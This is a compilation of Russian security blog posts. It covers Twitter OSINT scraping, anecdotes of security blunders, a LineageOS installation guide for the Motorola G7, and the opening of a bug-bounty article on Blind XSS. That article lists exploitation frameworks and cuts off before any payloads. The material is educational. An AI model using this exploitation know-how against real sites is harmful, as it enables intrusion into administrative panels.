Twitter (Tweet) Archiver — расширение для google-таблиц, которое собирает данные по нашим поисковым запросам из Twitter и выгружает все это в Google Docs. Само приложение цепляется к аддонам гугл-таблиц и позволяет выгружать результаты поиска сразу в документ.

В момент создания первого поискового правила Twitter Archiver запросит логин в существующий аккаунт, с которого будет вестись работа. Вот и все. Ищем, парсим, выгружаем в Excel-таблицу и анализируем.

Для примера пропарсим твиттер с максимально широкими параметрам поиска для того, чтобы показать, как будет выглядеть выгрузка:

На выходе мы получаем таблицу со следующими столбцами:

Date, Screen Name, Full Name, Tweet Text, Tweet ID, Link(s), Media, Location, Retweets, Favorites, App, Followers, Follows, Listed, Verfied, User Since, Location, Bio, Website, Timezone, Profile Image. К сожалению, все это на скриншот выше не влезло, так как занимает два экрана.

В представленном инструменте есть только одно слабое место: бесплатная версия Twitter Archiver позволяет парсить только по одному правилу и только один раз в час. Платная версия работает без ограничений по количеству правил поиска и делает выгрузку раз в 15 минут. Стоит, правда, недешево: от 39$/год за одного пользователя и до 399$/год за неограниченное число учетных записей.

Итого

Собирать информацию в полуавтоматическом режиме можно без каких-либо навыков в программировании, достаточно поисковых запросов самого Twitter и приложения Tweetdeck. Бот для гугл-таблиц упрощает систематизацию, однако полноценная его версия стоит денег.

Есть и более сложный путь, который не относится к теме статьи в качестве простого решения, но упомянуть о котором необходимо. Это решение — получение доступа к API Twitter через официальный запрос и последующее создание собственных инструментов. Однако шансов на это у частного лица не слишком много: на профильных форумах говорят, что доступ к API дают далеко не всем и процент отказа очень велик.

Но что делать, если вы хотите защитить свои данные, а не собирать их? Как бороться с анализом данных в Twitter? Да, по сути, никак. Это публичная сеть микроблогов в которой есть только два инструмента защиты информации: черные списки аккаунтов и ограничение доступа.

Первое, очевидно, от ботов и парсинга не спасет. Второе более эффективно, но тогда твиты будут доступны для просмотра только подписчикам аккаунта. Если мы говорим о какой-то публичной учетной записи, то второй вариант не применим, плюс, наблюдатель всегда может прокрасться в перечень читателей, если владелец аккаунта добавляет новых фолловеров вручную.

Так что единственный гарантированный способ снизить вероятность OSINT-утечек через Twitter до приемлемого уровня — не пользоваться Twitter.

Автор оригинальной статьи: Postuf

by @it_ha

7 историй про глупость, халтуру, доверчивость и их последствия

2020-04-07T17:14:01.828Z

Есть в нашей команде люди, в задачу которых входит мониторить ИБ-новости. В день они перепахивают кучу материалов на русском, английском, испанском и еще паре-тройке языков. Дайджест разлетается по отделам: кому посмотреть, нет ли среди пострадавших знакомых компаний, кому – в качестве иллюстрации к статье, примера к обучению или вебинару. Но для некоторых историй у нас особая папочка. «Гениальные» в своей незатейливости мошеннические схемы или удивительные по наивности проколы – к 1 апреля мы решили поскрести по сусекам и отобрали несколько историй, фигуранты которых достойны приза ИБ-версии «Премии Дарвина».

1. Номинация «Гостеприимство»

В одну из тюрем Южной Дакоты, США, в 2014 году пришла милая пожилая женщина, которая представилась медицинским инспектором. Сотрудникам она сказала, что должна проверить условия содержания заключенных и соблюдение санитарно-гигиенических норм в служебных помещениях.

Женщину встретили радушно и провели по всем кабинетам, куда она требовала доступ. Охранников не смутила даже просьба пустить ее в центр управления IT-системами и серверную – якобы посмотреть, нет ли там плесени. При этом ей разрешили взять с собой телефон и делать фото, а вдобавок часто оставляли одну.

В результате Рита Стрэнд (так звали «инспектора») беспрепятственно собрала информацию обо всей инфраструктуре тюрьмы: точках доступа, ПК, физических мерах защиты. И взломала все компьютеры, которые попались на пути, подключив к ним «резиновые уточки» (USB Rubber Ducky) для перехвата данных. Ей удалось добраться даже до ПК начальника тюрьмы, который сам (!) пригласил женщину в свой кабинет. На все про все у Риты ушло 45 минут.

Самое смешное, что у Риты Стрэнд абсолютно не было навыков хакера. Она всю жизнь проработала в общепите и в «шпионских» делах никогда не участвовала. А взломать систему безопасности тюрьмы вызвалась вместо сына, ИБ-эксперта Джона Стрэнда, который должен был устроить учреждению пентест. Это он снабдил ее «USB-утками» и всеми инструкциями, но сам не ожидал, что проникновение удастся так просто. Историей он поделился на профильной конференции шесть лет спустя, не раскрывая названия и расположения тюрьмы. Надо думать, тюремщикам и без того до сих пор неловко.

2. Номинация «Tinder головного мозга»

Героями этой истории стали сразу несколько десятков солдат израильской армии. Все они завели в сети приятные знакомства, а потом обнаружили, что сливают гостайну.

Инцидент получил огласку в этом феврале. Сообщалось, что с конца 2019 года в соцсетях и на сайтах знакомств солдатам стали активно писать девушки. Они с ходу были готовы делиться пикантными фото, правда, только в специальном защищенном приложении (а не то еще в сеть утекут!). Его и предлагали скачать по ссылке.

Те, кто поддался на уговоры, обнаруживали, что их смартфоны начинали вести себя странно. Активировалась передача данных, рос исходящий трафик, сами собой включались камера и диктофон. Скоро выяснилось, что «секретный чат» с фото – вредонос для удаленного управления телефоном, а «девушки» – хакеры ХАМАС. На протяжении нескольких месяцев они имели доступ к информации о местоположении пораженных устройств, фотографиям и контактам телефона.

Представители армии Израиля утверждают, что раскрыли схему почти сразу, но не реагировали, чтобы понаблюдать за ситуацией. И якобы никаких ценных данных к палестинским боевикам не утекло, потому что всех военных заранее предупредили об опасности.

3. Номинация «Танец на граблях»

Здесь могла бы быть любая из, наверное, уже сотен историй про незапароленный Elastic. Или MongoDB. Или любую другую БД, в которой пользователи не ставят пароли и, по сути, оставляют информацию в открытом доступе. Это действительно один из самых распространенных каналов утечек – в 2018 году так ушли 540 млн учеток Facebook (тогда соцсеть доверилась мексиканским аналитикам из Cultura Colectiva, а подрядчик не защитил сервер). В 2016-м утекла информация о 80% американцев, имеющих право голоса (это приватные данные 198 млн человек).

Но в этом году победа в номинации достается приложению Whisper. Оно позиционировалось как «самое надежное место в интернете», где пользователи могли анонимно делиться сокровенными секретами. А потом разработчики случайно раскрыли данные 30 млн человек. Оказалось, что Whisper хранит архив по всем пользователям с 2012 года.

Из незапароленной базы в сеть утекло содержание «секретных» постов. А это рассказы о страхах, тайных желаниях, признания в аморальных и преступных поступках, интимные секреты. Но главное – в открытом доступе оказалась информация об учетных данных пользователей (никнеймы, привязанные к ним email и телефоны), их возрасте, национальности и местоположении при последней авторизации. Порой геоданных хватало, чтобы установить конкретный жилой район и рабочее место. Около 1,3 млн скомпрометированных аккаунтов принадлежали подросткам до 15 лет.

4. Номинация «Не вижу, значит не было»

В начале нынешнего года казахстанская ИБ-компания «Центр анализа и расследования кибератак» сообщила в СМИ, что обнаружила крупную утечку данных из информационной системы генпрокуратуры Республики Казахстан. В свободном доступе в сети оказались персданные всех граждан Казахстана и иностранцев, в отношении которых в республике когда-либо заводили административные дела. Все их штрафы, предупреждения, адреса проживания, фотографии нарушителей, номера и данные техпаспортов их автомобилей. Более того, доступ к информационной системе прокуратуры оказался открыт из интернета, любой пользователь мог редактировать, удалять дела, заводить новые. Так как информационная система интегрирована со всеми сервисами электронного правительства страны, скомпрометированы могут быть внутренние данные любых госучреждений.

Исследователи отметили, что несколько раз связывались с ведомством, но так и не добились реакции. Даже после публичного раскрытия информации об уязвимости прокуратура Казахстана стоит на своем: ничего подобного, «данные не доступны в сети Интернет в открытом виде». Удивительное упрямство.

5. Номинация «За информационный эксгибиционизм»

Банковский служащий из Северной Каролины, США, украл со счетов клиентов более 88 тыс. долларов. Мужчина выводил средства с депозитов и подделывал документы, чтобы замести следы. Провернуть схему ему удалось как минимум 18 раз, за это время он неплохо улучшил свое положение и стал жить на широкую ногу. И все бы ничего, если бы не решил похвастаться успехами в Facebook и Instagram.

На странице американца стали регулярно появляться фото с пачками наличных, дорогим алкоголем, украшениями, авто. Фото пользовались популярностью – в конечном итоге ими заинтересовалась полиция.

К апрелю 2019-го дошло до суда, американцу грозит до 30 лет тюрьмы и штраф в 1 млн долларов. А материалы из соцсетей приобщили к делу. Например, пост, где мужчина позирует на фоне новенького Mercedes-Benz – фотография и чек на 20 тыс. долларов, которые он внес в качестве предоплаты за машину, стали одной из улик обвинения.

Похожая история произошла в Колумбии с главой внутренней службы по контролю морских грузов. Омар Амбуила получал зарплату чиновника – 3 000 долларов в месяц. При этом его дочь, которая жила в Майами и держала скромный магазинчик мороженого, вела по-настоящему роскошный образ жизни. В ее Instagram регулярно появлялись фото с покупками от дорогих брендов, за рулем новых Lamborghini и Porsche, на отдыхе с лакшери-курортов.

Беда настигла, когда среди подписчиков светской дивы появились полицейские. Через девушку вышли на ее отца и задали ему резонный вопрос: неужели такая дольче-вита по карману семье обычного госслужащего? Власти страны считают, что чиновник создал преступную сеть в колумбийском порту и получал многомиллионные взятки за провоз контрабанды. В апреле 2019 года Амбуила, его жену и дочь арестовали – как раз на дорогом курорте. Что называется, спасибо фоткам за наводку.

6. Номинация «Пицца как оружие судьбы»

Прокалываются на мелочах не только неподкованные воришки, но и настоящие гранды киберпреступности.

Создатель одного из старейших DDoS-сервисов Quantum Stresser Дэвид Букоски с 2012 года успешно скрывался от властей. Его детище только в 2018 году позволило «положить» порядка 50 тыс. информационных систем по всему миру, всего на счету сервиса более 80 тыс. реализованных заказов на кибератаки. Хотя в 2018 году в ходе международной спецоперации сайт quantumstress[.]net был ликвидирован, правоохранители по-прежнему искали выходы на владельца и старались установить его личность.

«Кошки-мышки» затянулись, Дэвид расслабился. В начале 2020 года он решил заказать домой пиццу и оставил на сайте доставки контактный email… на который когда-то зарегистрировал свой домен.

Раньше адрес фигурировал в «черных списках» нескольких сервисов, которыми Дэвид пользовался для рекламы Quantum Stresser’а и приема платежей от клиентов. Когда компании остановили услуги, он направлял им официальные письма с просьбами объяснить отказ. Так полиция смогла узнать настоящее имя хакера. А заказ доставки раскрыл его домашний адрес. В итоге пицца с беконом и курицей обошлась Букоски в 5 лет лишения свободы условно.

Кстати, в 2012 году таким же заказом выдал себя другой кибергений – Юрий Коваленко, один из авторов знаменитого Zeus. В Лондоне он возглавлял ячейку «операторов» ботнета и спокойно работал, несмотря на ФБР «на хвосте», пока не оставил онлайн-заявку на доставку обеда прямо в свою штаб-квартиру. Так что пицца – то еще оружие судьбы.

7. Номинация «Кручусь, как умею»

Встречаются люди, которые свято верят: если избить человека, а потом предложить ему нанять вас телохранителем, то он с радостью согласится. Звучит диковато в декорациях реального мира. Однако в мире виртуальном до сих пор есть такие персонажи.

Например, недавно сотрудники отдела «К» УМВД России по Вологодской области задержали неудачливого «пентестера». Как установило следствие, мужчина осуществил DDoS-атаку на интернет-магазин крупнейшего череповецкого предприятия. Задержанный признался, что специально нагрузил сайт – тестировал его на устойчивость, чтобы потом предложить владельцам свои услуги по защите от DDoS-атак.

Историй, над которыми можно посмеяться, хватает. Можно вспомнить свежий инцидент из Германии, где на eBay продали ноутбук со сверхсекретной инструкцией по уничтожению государственной системы ПРО. Можно вспомнить, как офицеры подразделений электронной разведки Армии обороны Израиля взломали сервер армейского отдела кадров для получения дополнительных и внеочередных отпусков, в том числе с оплаченным проживанием в гостиницах. А можно в целом удивиться, что за последние 4 года минобороны Великобритании потеряло уже почти 800 ноутбуков с военными тайнами.

Законный автор статьи: SearchInform_team

by @it_ha

📱 Освободи свой Android

2020-01-29T23:10:48.724Z

Некоторое время назад на Хабре вышла статья замечательной девушки fur_habr о проблемах безопасности, приватности и конфиденциальности мобильных коммуникаций и о путях решения этих проблем на платформе Android.

В момент выхода этой статьи я как-то не обратил на неё внимания — тема смартфонов и Андроида мне вообще не очень интересна. Потом, уже через несколько месяцев, я вновь случайно наткнулся на эту статью, вчитался, и проникся идеями, содержащимися в ней. Действительно, почему бы не стать хозяином своему собственному смартфону?

Вашему вниманию предлагается отчёт об эксперименте, проведённым мной по мотивам инструкций из вышеозначенной статьи и о том, что из всего этого может получиться.

Предупреждение 1

В этой статье рассматривается только техническая часть проблемы и не затрагиваются концептуальные, идеологические и прочие её аспекты. Нужно вам это или нет — решать только вам самим.

Предупреждение 2

Вся информация в статье представлена исключительно в образовательных целях и если вы что-то делаете, то делаете это исключительно на свой страх и риск. Автор публикации не несёт ответственности за любые последствия ваших необдуманных действий.

Начинаем. Итак, мы прочитали статью, а затем вторую статью, прониклись идеями, заложенными в них, и готовы провести практический эксперимент по освобождению своего Андроида (на самом деле эксперимент по освобождению себя от Андроида). С чего же начать?

Кстати, вы заметили, что суть Андроида заложена в самом его названии — это Andro ID, то есть ваш универсальный (в смысле всех аспектов вашей жизни) идентификатор.

Начнём мы с выбора аппарата для экспериментов. Проблема в том, что LineageOS поддерживает очень небольшое количество устройств, причём в основном устаревших. В своей статье fur_habr рекомендует остановиться на Xiaomi Redmi 4(X), Xiaomi Redmi Note 4 или Xiaomi Mi A1. При попытке поинтересоваться у продавцов наличием в продаже этих моделей, я получил в ответ круглые глаза, заверения, что таких древностей у них нет. Интернет только подтвердил диагноз — купить новый аппарат этих моделей практически невозможно, есть какие-то сомнительные предложения (1-2 экземпляра) непонятного происхождения и не факт, что подходящих для наших частот связи. В общем, это не наш путь.

Хорошо, эти аппараты нам не подходят, можно ли найти в списке поддерживаемых LineageOS устройств что-то подходящее? После тщательного просмотра всего списка устройств я не нашёл ни одного (нового, не б/у) смартфона, который можно было бы просто купить в обычном магазине или хотя бы заказать через интернет с быстрой доставкой.

Всё, на этом эксперимент можно было завершать. Как говорится, хороша Маша, да не наша. Но меня уже охватил спортивный азарт и отказываться от Маши не хотелось, поэтому я ещё раз прошерстил список и где-то на четвёртой или пятой итерации обратил внимание на модель Motorola G7. По итогам, это практически единственный актуальный, доступный и подходящий нам аппарат из всего списка LineageOS.

Motorola G7

На тот момент мне было всё равно Motorola это или Rockola (смайл), аппарат выбирался для эксперимента и исключительно по двум критериям — он должен быть новым (зачем нам старый?), не б/у, и присутствовать в списке поддерживаемых LineageOS.

Но в случае с Motorola G7 звёзды прямо сошлись: это свежий (2019 года) аппарат, официально поставляется в Россию, поддерживается LineageOS и, как потом оказалось, он ещё и весьма приличный смартфон и при этом относительно недорого стоит.

Пара слов о цене. Motorola G7 стартовал в апреле 2019 года по цене 20 тыс. рублей, на момент написания статьи его можно свободно купить за 11 тыс. рублей, в интернете есть сообщения, что кому-то удавалось купить его по акции за 9, 8, и даже 6 тыс. рублей (что просто даром).

При этом он имеет на борту 4 ГБ оперативной и 64 ГБ встроенной памяти, NFC, отличный 2270х1080 дисплей 6.2", лоток на две SIM карты плюс microSD, 2 камеры, сканер отпечатка пальца, USB Type-C, быструю зарядку, 9-й, т. н. «чистый» Android и много чего ещё, см. официальную страницу производителя. Как говорил один известный персонаж, да это просто праздник какой-то!

Немного о модельном ряде. В линейке Moto G7 присутствуют четыре модели: G7 Play, G7 Power, просто G7 без индекса и G7 Plus. Из всех четырёх моделей нашего внимания достойны только две последние, причём G7 Plus более интересный вариант, практически за те же деньги, что и G7. Но в нашем случае критерием выбора является присутствие смартфона в списке поддерживаемых LineageOS, а это только один вариант — Motorola G7.

Покупка и первые впечатления

Ну что ж, цена вопроса 11 тыс. рублей, не сказать что очень мало, но чего не сделаешь из любви к науке. Сказано — сделано, покупаем смартфон, распечатываем коробку — всё классно, тонкий современный смартфон, выглядит отлично, работает так, как ему и положено, никаких замечаний у меня к нему нет.

На борту так называемый «практически чистый» 9-й Android с некоторыми фирменными добавлениями и «фишками» от Моторолы. Не знаю, что подразумевали авторы термина «чистый Андроид», но по сути это зонд, принадлежащий компаниям производителям железа и софта (но никак не вам, по крайней мере до тех пор, пока у вас не будет root прав на устройстве), который отправляет каждый ваш чих на их сервера, а через трекеры, встроенные в приложения, и на десятки серверов по всему миру неустановленному кругу третьих лиц (смотри подробности в статьях fur_habr).

Да, картина, прямо скажем, удручающая. Можно ли как-то исправить это положение? Попробуем разобраться и переходим к хирургическим методам. Пациент готов. Ассистент, скальпель!

Шаг 1. Разблокировка загрузчика

Смартфон поставляется с заблокированным загрузчиком. Это означает, что вы не сможете установить на него стороннюю прошивку. Для того, чтобы установить на него LineageOS, вам нужно сначала разблокировать загрузчик.

Компания Motorola имеет специальную страницу

для запросов на разблокирование её устройств. Нужно просто получить некоторые данные от вашего смартфона, отправить их производителю и в ответ он пришлёт вам код разблокировки. Как это сделать я сейчас опишу подробно.

Примечание: здесь и далее речь будет идти о Windows 7 64-bit, если у вас другая операционная система, то действия могут немного отличаться.

Прежде всего, у вас на компьютере должны быть установлены драйвера Motorola для связи через USB порт. Также вам нужно скачать и установить Android platform-tools с adb и fastboot. Если вы будете работать не из директории platform-tools, то вам нужно добавить путь к ней в настройках Windows (Компьютер — Свойства — Дополнительные параметры системы — Переменные среды — Path).

Затем нужно активировать показ меню разработчика на телефоне (Настройки — О телефоне — Номер сборки) и несколько раз подряд тапнуть по этому пункту, пока не появится надпись, что вы стали разработчиком.

В меню разработчика (Настройки — Система — Для разработчиков) активируем «Отладку по USB», а в меню Настройки — Система — Для разработчиков — Отладка Android активируем «Android Debug Bridge (ADB)». После этого подключаем смартфон к компьютеру, запускаем окно с командной строкой (cmd) и вводим первую команду:

>adb devices

Если всё сделано правильно, то в ответ система сообщит о найденном устройстве:

List of devices attached
AH418JDANZ      device

Затем вводим команду перезагрузки смартфона в режим бутлоадера:

>adb reboot bootloader

Далее проверяем видит ли компьютер подсоединённое устройство в этом режиме:

>fastboot devices
AH418JDANZ      fastboot

Если всё нормально, то вводим команду на запрос кода для разблокировки:

>fastboot oem get_unlock_data

В ответ смартфон должен выдать что-то вроде этого:

(bootloader) 93A1958E29857298#
(bootloader) 405685468A0468F59638571E31040158805403469#
(bootloader) 7035F204E85348570698340A620968E34029663206#
(bootloader) 54269720984560184604890000000000
OKAY [  0.020s]
Finished. Total time: 0.022s

Далее просто склеиваем эту последовательность цифр в одну строку (надписи bootloader, скобки и пробелы удаляем, знаки # оставляем) и получается такая строка:

93A1958E29857298#405685468A0468F59638571E31040158805403469#7035F204E85348570698340A620968E34029663206#54269720984560184604890000000000

На своей странице по разблокировке Motorola много раз предупреждает о последствиях разблокировки загрузчика (самое невинное из которых это потеря гарантии) — внимательно прочитайте эти предупреждения и ещё раз подумайте готовы ли вы взять на себя ответственность за возможные последствия ваших действий.

Если готовы, то смело вводим полученную последовательность и нажимаем кнопку отправки. В моём случае код разблокировки пришёл на почту практически сразу. Всё, теперь мы получили ключ от замка и всё зависит только от нас.

Фрагмент ответа из письма от сервиса разблокировки Motorola:

Bootloader Unlock<#>
Here is the unique code to unlock the bootloader of your Motorola phone.
Unlock Code: 42UKUKYULUYDTRETMDFG

Далее нам нужно в меню разработчика включить функцию разрешения разблокировки загрузчика «Allow OEM Unlock» и ещё раз перезагрузить телефон. Затем подключаемся к смартфону так, как это было описано выше, и вводим команду для разблокировки загрузчика:

>fastboot oem unlock 42UKUKYULUYDTRETMDFG

Получаем ответ в котором система предупреждает, что все ваши данные будут стёрты, соответственно, если у вас есть ценная информация, то вы должны прервать процесс и скопировать её в безопасное место (а лучше сделать это заранее):

(bootloader) WARNING: This command erases all user data.
(bootloader) Please re-run this command to continue.
OKAY [ 0.004s]
Finished. Total time: 0.006s

И ещё раз вводим ту же команду:

>fastboot oem unlock 42UKUKYULUYDTRETMDFG

И вот, наконец, сообщение об успешной разблокировке загрузчика:

(bootloader) Bootloader is unlocked! Rebooting phone
OKAY [ 0.680s]
Finished. Total time: 0.681s

На этом первый этап нашего эксперимента можно считать завершённым, перезагружаем смартфон и получаем сообщение о том, что загрузчик разблокирован и безопасность нашего телефона находится под угрозой (ага). Сообщение держится на экране 5 секунд и затем смартфон загружается обычным образом.

Шаг 2. Установка TWRP

Переходим ко второй части марлезонского балета. Для того, чтобы установить LineageOS на смартфон, сначала нужно установить т. н. «кастом рекавери» (custom recovery) для проведения операций по очистке разделов смартфона, загрузки файлов, самой прошивки LineageOS и прочих операций. С TWRP тоже не всё так просто. by @it_ha. Существует официальный сайт на котором присутствуют «официальные» сборки TWRP. Рекомендуется скачивать файлы именно с официального сайта, а не со сторонних ресурсов. Также не рекомендуется пользоваться сторонними сборками, поскольку они могут содержать в себе различные закладки.

В случае с Motorola G7 (о чудо!) существует свежее официальное TWRP, которое специально рассчитано на эту модель и устанавливается на телефон на раз-два, без каких-либо проблем. Значимость этого факта можно оценить, почитав форумы и стенания владельцев многих современных телефонов, например, популярного Samsung Galaxy A10 и всей линейки A20, A30, A40, A50… Этих моделей нет в официальном списке поддерживаемых устройств на сайте TWRP.

Переходим на страницу нашего (воистину) замечательного Motorola G7 и скачиваем последнюю на данный момент сборку TWRP twrp-3.3.1-2-river.img. В официальной инструкции по установке LineageOS рекомендуется на компьютерах с Windows дополнительно выполнить команду

fastboot set_active a

и принудительно сделать активным слот A. По их описанию это связано с ошибкой в реализации fastboot в Windows. И вообще, прежде чем что-то делать, настоятельно рекомендую внимательно ознакомиться с официальной инструкцией на этой странице — там всё написано правильно и очень подробно. Правда на английском, но настоящего любителя мобильных коммуникаций это вряд ли остановит (здесь опять запрещённый смайл).

Ответ Motorola G7 на эту команду:

Setting current slot to 'a'
(bootloader) Slot already set active
OKAY [  0.001s]
Finished. Total time: 0.004s

Всё, на этом шутки закончились и любое неправильное действие может привести к окирпичиванию вашего драгоценного телефона. Далее действуем очень внимательно и аккуратно.

Вводим команду записи TWRP на устройство:

>fastboot flash boot_a twrp-3.3.1-2-river.img

Система сообщает что файл не подписан, но процесс завершён успешно.

Sending 'boot_a' (27096 KB) 
OKAY [ 0.725s]
Writing 'boot_a'
(bootloader) Image not signed or corrupt
OKAY [ 0.145s]
Finished. Total time: 0.878s

В оригинальной статье указывается, что можно не прописывать TWRP на устройство, а запускать его удалённо, рекомендую перед этим этапом внимательно ознакомиться с тем, что написано в оригинальной статье.

Шаг 3. Установка LineageOS

Осталось совсем немного: сделать несколько настроек в TWRP и загрузить на телефон пару файлов, один из которых и есть прошивка LineageOS. Сначала скачиваем файлы:

copy-partitions.zip

На странице официальной инструкции по инсталляции LineageOS на Motorola G7 говорится о возможных проблемах с A/B слотами на некоторых устройствах и рекомендуется перед инсталляцией прошивки LineageOS установить файл copy-partitions.zip. Скачиваем файл и проверяем его целостность с помощью MD5.

Как проверить MD5 в Windows: запускаем командой cmd окно терминала и вводим команду certutil -hashfile copy-partitions.zip MD5. Затем сравниваем полученные значения с кодом на странице загрузки.

LineageOS

Затем с официальной страницы загрузки LineageOS скачиваем файл прошивки последней версии lineage-16.0-20200109-nightly-river-signed.zip. И проверяем значение хеша SHA-256.

Как проверить хеш SHA-256 в Windows: запускаем командой cmd окно терминала и вводим команду certutil -hashfile lineage-16.0-20200108-nightly-river-signed.zip SHA256. Затем сравниваем полученные значения с кодом на странице загрузки.

AddonSU

Если вы хотите получить root права в вашей будущей системе, то можете скачать ещё AddonSU. Из списка нужно выбрать вариант arm64 addonsu-16.0-arm64-signed.zip, скачать его и затем проверить SHA-256 хеш.

Google apps

Ещё вы можете скачать для установки Google apps, но, как справедливо заметила fur_habr в своей статье, тогда вся затея с LineageOS теряет всякий смысл. Поэтому Google apps мы скачивать не будем, а за подробностями я вас отсылаю к статье и комментариям к ней.

Операции в TWRP

Запускаем прописанное на устройство TWRP:

fastboot boot twrp-3.3.1-2-river.img

Запускается интерфейс нашего «кастом рекавери» и мы можем проводить заключительные действия по инсталляции LineageOS на наш смартфон Motorola G7.

В интерфейсе TWRP выбираем кнопку «Advanced» и далее «ADB Sideload», а на компьютере в командной строке набираем:

>adb sideload copy-partitions.zip

После успешной загрузки файла система ответит:

Total xfer: 1.00x

Затем в интерфейсе TWRP выбираем кнопку «Wipe» и далее «Format Data». После завершения процесса возвращаемся в предыдущее меню. Нажимаем на кнопку «Advanced Wipe» и выбираем «System» и «Cache».

Возвращаемся в главное меню и снова выбираем кнопку «Advanced» и далее «ADB Sideload», а на компьютере в командной вводим строке:

>adb sideload lineage-16.0-20200108-nightly-river-signed.zip

и загружаем прошивку LineageOS в смартфон. Ответ при успешном выполнении операции:

Total xfer: 1.00x

Если мы хотим установить root на устройство, то далее вводим команду:

adb reboot sideload

А затем:

>adb sideload addonsu-16.0-arm64-signed.zip

Ответ:

Total xfer: 2.08x

Вот теперь точно всё. Перезагружаем смартфон и нас встречает маленькое чудо — операционная система LineageOS.

Root

Если вы установили AddonSU, то в меню разработчика появится соответствующий пункт, в котором вы сможете выбрать режимы работы root на вашем устройстве.

LineageOS

Да… в упорстве нам не откажешь… И вот, после всех этих титанических усилий мы всё-таки добились своего — установили LineageOS на Motorola G7. И что же мы имеем в итоге?

Это всё тот же 9-й Android и внешне эта система мало чем отличается от того, что было на родной прошивке Motorola G7. Кнопки примерно на тех же местах, функции примерно те же, в общем после смены операционной системы я не испытывал никаких затруднений или неудобств в работе со смартфоном.

Что мы потеряли?

Поскольку мы не стали устанавливать Google сервисы, то мы потеряли все программы, которые зависят от этих сервисов, а также мы лишились уведомлений, которые работают через них (это касается не всех приложений, но многих). В оригинальной статье (https://habr.com/ru/post/465945/) подробно рассматривается этот вопрос и даются рекомендации по установке альтернативных программ для поддержки Google сервисов.

Мы потеряли также банковские приложения и оплату через NFC (не всегда и не во всех случаях, за подробностями снова отсылаю к оригинальной статье).

Что мы приобрели?

Мы просто вернули себе право управления своим собственным устройством и избавились ото всех (наивно думать, что ото всех, но по крайней мере от большинства) шпионских модулей. Теперь мы сами можем решать что и как должен делать наш смартфон (он ведь наш, верно?).

Немного технических подробностей. То, что мы имеем сейчас в лице LineageOS уже можно с натяжкой назвать «чистым Андроидом». Это хорошо заметно по логу фаервола. Если в родной, якобы «чистой» прошивке Motorola G7 фаервол просто раскалялся от паразитной активности приложений и сервисов Google и Motorola и десятков трекеров в приложениях, то на LineageOS внутренняя жизнь системы приобрела вменяемый характер.

Система больше не напоминает проходной двор где шарятся все кому не лень, начиная от китайских девелоперов и заканчивая индусскими программистами и маркетологами со всего мира (попутно скачивая ваши приватные данные и протоколируя каждый ваш тап по экрану). Лог фаервола почти пустой и найти в нём можно только те приложения и только по тем адресам и портам которые нужны непосредственно для их работы и которые одобрены мной, как хозяином (!) устройства.

Как это сказалось на расходе батареи и объёме платного трафика я думаю пояснять не нужно. Андроид просто перестал заниматься огромным количеством посторонних дел и растрачивать на это свои ресурсы (перестал обслуживать чужие, прямо противоречащие вашим, интересы).

Есть ли жизнь на LineageOS?

После установки LineageOS и посещения F-Droid я закрыл 95% своих потребностей в программах на Android. Есть набор стандартных «Simple» приложений (часы, калькулятор, блокнот, календарь, файловый менеджер и т. д.), есть проигрыватели аудио и видео (VLC), есть карты, читалки, есть отличный почтовый клиент (K-9), в репозитории F-Droid есть более 2000 приложений на любой вкус, есть даже версия Telegram, работающая без Google сервисов для поклонников этого мессенджера.

Для тех редких случаев когда нужная программа есть только в Google Play, можно воспользоваться альтернативными клиентами Yalp store или Aurora Store.

Телефон звонит, СМС-ки ходят, почта работает, интернет в полном объёме, доступны все сервисы при авторизации через браузер, есть свободное облако, при желании можно поставить Telegram и т. д. и т. п. В общем, на мой взгляд, LineageOS это вариант не для всех и не всегда, но во многих случаях это просто отличное решение.

Выводы

Очевидно, что для большинства «нормальных людей» которым нужно «передать файл по Ватсапу», «погонять птиц», посвайпить бесконечные ленты «друзей», установить кешбек-приложения от Спортмастера и Алиэкспресс и расплатиться на платной трассе через NFC — этот вариант не подходит.

Сама идея чистого и подконтрольного вам смартфона входит в противоречие с логикой и практикой жизни в современном обществе, где каждый продавец товаров или услуг имеет своё приложение, которое занимается сливом ваших данных, отслеживанием вашей активности и построением вашего цифрового профиля.

Что со всем этим делать предлагаю читателям решать самостоятельно.

Послесловие

В общем, я доволен проведённым экспериментом — за это время я узнал много интересного и, как гик, получил огромное удовольствие от тесного общения с классным аппаратом Motorola G7. В результате я получил «чистый» телефон, который просто приятно держать в руках, ощущая себя его хозяином и не опасаясь, что в этот момент он что-то куда-то сливает или делает фотографии.

Пока Motorola G7 остаётся полем для экспериментов и «вторым» телефоном, наряду с моим старым аппаратом, набитым всякой «шнягой» типа Google сервисов и Ватсапа и после использования которого хочется перекреститься и помыть руки (смайл).

И напоследок пара фотографий свободного Motorola G7 с установленной на нём LineageOS.

Автор статьи: smart_alex

by @it_ha

Охота за ошибками, Blind-XSS и лисьи хитрости

2019-10-10T14:56:09.264Z

Многие наверняка уже слышали о BugBounty, поиске уязвимостей с вознаграждениями и сопутствующих историях об этом. Я, как один из «охотников за ошибками», начал свой путь чуть больше года назад на площадке HackerOne. За это время мне удалось многое узнать о различных видах уязвимостей, получить много опыта и теперь мне хотелось бы поделиться этим с сообществом. В этой статье я хочу рассказать о таком типе уязвимостей, как Blind Cross-site Scripting или слепой хранимый межсайтовый скриптинг, если переводить на русский. Приглашаю под кат, если вас интересуют подобные темы или вы желаете улучшить безопасность своего приложения.

Многие веб-приложения обладают административной панелью или другими её вариациями, позволяющими осуществлять контроль над контентом веб-сайта, управлять данными пользователей и выполнять множество других привилегированных действий. Административный портал может быть защищен доступом по определенному пулу IP-адресов, HTTP-Only куками и, конечно же, авторизацией.

Однако, все эти механизмы защиты можно обойти, если введенный пользователем контент окажется вредоносным, а приложение не осуществляет надлежащую очистку отправленной информации пользователем.

Инструменты для эксплуатации

Для начала ознакомимся с инструментами, которые позволят нам успешно эксплуатировать обнаруженную Blind-XSS. От остальных уязвимостей она отличается методом эксплуатации. Отправив вредоносное сообщение, мы не знаем, удалось ли успешно встроить JavaScript в HTML страницы или нет. Вредоносный код будет выполнен только тогда, когда администратор посетит страницу с этим кодом. В противном случае мы можем никогда и не узнать, была ли атака успешной или нет.

Помощь в эксплуатации нам могут предоставить всевозможные фреймворки, созданные исключительно для Blind-XSS инъекций:

XSS Hunter (GitHub) — один из наиболее популярных фреймворков
ezXSS
bXSS (с нотификацией по SMS)
elScripto

И множество других. Каждый фреймворк обладает своими особенностями, поэтому каждый багхантер выбирает тот, который удобнее всего и подходит для его нужд. Так как я использую XSS Hunter, далее в статье я буду приводить его особенности и как их использовать для получения наилучшего результата.

Настроив фреймворк, вы получите готовые пейлоады, которые могут быть применены в разных ситуациях, но чаще всего используются полиглоты, например:

